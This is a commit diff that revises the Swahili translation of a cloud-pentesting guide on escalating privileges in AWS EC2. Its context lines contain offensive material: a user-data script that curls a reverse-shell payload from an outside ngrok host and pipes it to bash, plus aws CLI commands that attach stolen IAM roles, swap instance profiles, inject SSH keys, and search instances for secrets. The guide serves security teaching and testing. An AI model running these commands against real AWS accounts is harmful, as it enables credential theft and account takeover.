Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-02-06 02:14:31 +00:00
parent bffbc9babb
commit 6f882aa002

View File

@@ -12,11 +12,11 @@ Kwa maelezo zaidi kuhusu **EC2** angalia:
### `iam:PassRole`, `ec2:RunInstances`
Mshambuliaji anaweza **kuunda na instance ikifunga IAM role kisha kufikia instance hiyo** ili kuiba akidi za IAM role kutoka kwa metadata endpoint.
Mshambuliaji anaweza **kuunda na instance ikifunga jukumu la IAM kisha kufikia instance hiyo** ili kuiba akidi za jukumu la IAM kutoka kwa kiunganishi cha metadata.
- **Upatikanaji kupitia SSH**
Kimbia instance mpya ukitumia **ssh key** iliyoundwa (`--key-name`) kisha ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji kuwa na ruhusa `ec2:CreateKeyPair`).
Kimbia instance mpya ukitumia **funguo za ssh** zilizoundwa (`--key-name`) kisha ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji kuwa na ruhusa `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -30,7 +30,7 @@ echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
@@ -44,7 +44,7 @@ Kuwa makini na GuradDuty ukitumia akreditivu za jukumu la IAM nje ya mfano:
#### Privesc kwa ECS
Kwa seti hii ya ruhusa unaweza pia **kuunda mfano wa EC2 na kujiandikisha ndani ya klasta ya ECS**. Kwa njia hii, **huduma** za ECS zitakuwa **zinakimbia** ndani ya **mfano wa EC2** ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (mikononi ya docker) na **kuchukua majukumu yao ya ECS yaliyounganishwa**.
Kwa seti hii ya ruhusa unaweza pia **kuunda mfano wa EC2 na kujiandikisha ndani ya klasta ya ECS**. Kwa njia hii, **huduma** za ECS zita **endesha** ndani ya **mfano wa EC2** ambapo una ufikiaji na kisha unaweza kuingia kwenye huduma hizo (mashine za docker) na **kuchukua majukumu yao ya ECS yaliyounganishwa**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -67,7 +67,7 @@ aws-ecs-privesc.md
Ikiwa huwezi **kuunda mfano mpya** lakini una ruhusa `ecs:RegisterContainerInstance` unaweza kuwa na uwezo wa kujiandikisha mfano ndani ya klasta na kutekeleza shambulio lililozungumziwa.
**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa ECS majukumu yaliyounganishwa na kazi.
**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya ECS yaliyounganishwa na kazi.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
@@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa hiyo **profaili ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika:
Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa **profaili hiyo ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika:
- Ikiwa mfano **hauna profaili yoyote ya mfano** (`ec2:AssociateIamInstanceProfile`)
```bash
@@ -98,11 +98,11 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- au **badilisha** **profaili ya mfano** ya mfano ulioathirika (`ec2:ReplaceIamInstanceProfileAssociation`).
- au **badilisha** **profaili ya mfano** ya mfano ulioathiriwa (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano).
**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano).
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -180,7 +180,7 @@ aws ec2 modify-launch-template \
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mipangilio ya Uzinduzi** yenye **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mipangilio hiyo na kusubiri rev shell ili **kuiba Jukumu la IAM**.
Mshambuliaji mwenye ruhusa **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** anaweza **kuunda Mipangilio ya Kuanzisha** yenye **Jukumu la IAM** na **rev shell** ndani ya **data ya mtumiaji**, kisha **kuunda kundi la autoscaling** kutoka kwa mipangilio hiyo na kusubiri rev shell ili **kuiba Jukumu la IAM**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -200,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kupandisha** mamlaka kwa jukumu la IAM kwa sababu ili kuunganisha jukumu lililoainishwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi **unahitaji ruhusa `iam:PassRole` na `ec2:RunInstances`** (ambayo ni privesc inayojulikana).
Seti ya ruhusa **`ec2:CreateLaunchTemplate`** na **`autoscaling:CreateAutoScalingGroup`** **hazitoshi kupandisha** mamlaka kwa jukumu la IAM kwa sababu ili kuunganisha jukumu lililotajwa katika Mipangilio ya Uzinduzi au katika Kigezo cha Uzinduzi **unahitaji ruhusa `iam:PassRole` na `ec2:RunInstances`** (ambayo ni privesc inayojulikana).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -211,7 +211,7 @@ aws ec2-instance-connect send-ssh-public-key \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa EC2 IAM roles zilizounganishwa na mifano inayoendesha.
**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya IAM ya EC2 yaliyounganishwa na mifano inayotembea.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
@@ -250,9 +250,9 @@ done
```
Katika amri zilizo hapo juu, ingawa tunabainisha mifumo fulani (`aws_|password|token|api`), unaweza kutumia regex tofauti kutafuta aina nyingine za taarifa nyeti.
Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kuthibitisha kwenye AWS.
Ikiwa tutapata `aws_access_key_id` na `aws_secret_access_key`, tunaweza kutumia akreditivu hizi kujiandikisha kwenye AWS.
**Athari Zinazoweza Kutokea:** Kuongezeka kwa haki moja kwa moja kwa mtumiaji wa IAM.
**Athari Zinazoweza Kutokea:** Kuinua kibali moja kwa moja kwa mtumiaji wa IAM.
## Marejeleo